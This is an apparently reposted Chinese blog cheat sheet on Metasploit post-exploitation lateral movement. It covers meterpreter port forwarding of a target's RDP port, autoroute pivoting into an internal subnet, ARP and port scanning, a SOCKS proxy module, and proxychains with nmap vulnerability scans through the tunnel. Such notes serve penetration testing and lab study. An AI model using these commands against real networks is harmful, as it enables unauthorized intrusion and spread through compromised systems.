当前位置:网站首页>MSF横向之MSF端口转发+路由表+SOCKS5+proxychains
MSF横向之MSF端口转发+路由表+SOCKS5+proxychains
2022-07-06 10:01:00 【西湖第一剑】
MSF后渗透的一些操作
端口转发
meterpreter > portfwd add -l 2222 -r 172.16.1.156 -p 3389 #将目标机172.16.1.156的3389端口转发到本地2222端口
meterpreter > portfwd list #查看转发列表
meterpreter > portfwd flush #清空转发列表
rdesktop 127.0.0.1:2222 #kali远程桌面使用2222端口
添加路由,横向渗透(跨网段攻击)
run autoroute -s 172.16.2.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
route print #打印路由
run post/windows/gather/arp_scanner RHOSTS=172.16.2.0/24 #扫描整个段存活主机
run auxiliary/scanner/portscan/tcp RHOSTS=172.16.2.11 PORTS=3389 #检查IP是否开放3389
利用arp扫描内网主机
use post/windows/gather/arp_scanner
set rhosts 172.16.2.0/24
set session 1
exploit
Socks代理篇
新版的msf和老版的不一样,代理模块也不一样。
auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvport 7777
srvport => 7777
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
配置proxychains
用代理软件去连接建立好的socks隧道,便可以成功访问内网。
vi /etc/proxychains.conf #添加 socks5 127.0.0.1 7777
proxychains+nmap扫描主机是否存在漏洞
proxychains nmap -sT -Pn -p445 --script=vuln 192.168.52.141
proxychains使用msf框架
proxychains msfconsole
边栏推荐
- C语言通过指针交换两个数
- 学 SQL 必须了解的 10 个高级概念
- Alibaba brand data bank: introduction to the most complete data bank
- Summary of study notes for 2022 soft exam information security engineer preparation
- SAP UI5 框架的 manifest.json
- OpenCV中如何使用滚动条动态调整参数
- Wechat applet obtains mobile number
- What is the reason why the video cannot be played normally after the easycvr access device turns on the audio?
- Xin'an Second Edition: Chapter 26 big data security demand analysis and security protection engineering learning notes
- 分布式(一致性协议)之领导人选举( DotNext.Net.Cluster 实现Raft 选举 )
猜你喜欢
Manifest of SAP ui5 framework json
Reppoints: advanced order of deformable convolution
Spark calculation operator and some small details in liunx
The integrated real-time HTAP database stonedb, how to replace MySQL and achieve nearly a hundredfold performance improvement
[elastic] elastic lacks xpack and cannot create template unknown setting index lifecycle. name index. lifecycle. rollover_ alias
Unity粒子特效系列-闪星星的宝箱
Pyspark operator processing spatial data full parsing (5): how to use spatial operation interface in pyspark
Getting started with pytest ----- test case pre post, firmware
PySpark算子处理空间数据全解析(5): 如何在PySpark里面使用空间运算接口
Today in history: the mother of Google was born; Two Turing Award pioneers born on the same day
随机推荐
BearPi-HM_ Nano development environment
2022年大厂Android面试题汇总(一)(含答案)
Chrome prompts the solution of "your company management" (the startup page is bound to the company's official website and cannot be modified)
VR全景婚礼,帮助新人记录浪漫且美好的场景
微信小程序获取手机号
Grafana 9 正式发布,更易用,更酷炫了!
李書福為何要親自掛帥造手機?
微信小程序中给event对象传递数据
Xin'an Second Edition: Chapter 23 cloud computing security requirements analysis and security protection engineering learning notes
Solid principle
趣-关于undefined的问题
Single responsibility principle
Cool Lehman has a variety of AI digital human images to create a vr virtual exhibition hall with a sense of technology
Mysqlimport imports data files into the database
酷雷曼多种AI数字人形象,打造科技感VR虚拟展厅
Kivy tutorial: support Chinese in Kivy to build cross platform applications (tutorial includes source code)
分布式(一致性协议)之领导人选举( DotNext.Net.Cluster 实现Raft 选举 )
Pytest learning ----- pytest operation mode and pre post packaging of interface automation testing
FlutterWeb瀏覽器刷新後無法回退的解决方案
How to solve the error "press any to exit" when deploying multiple easycvr on one server?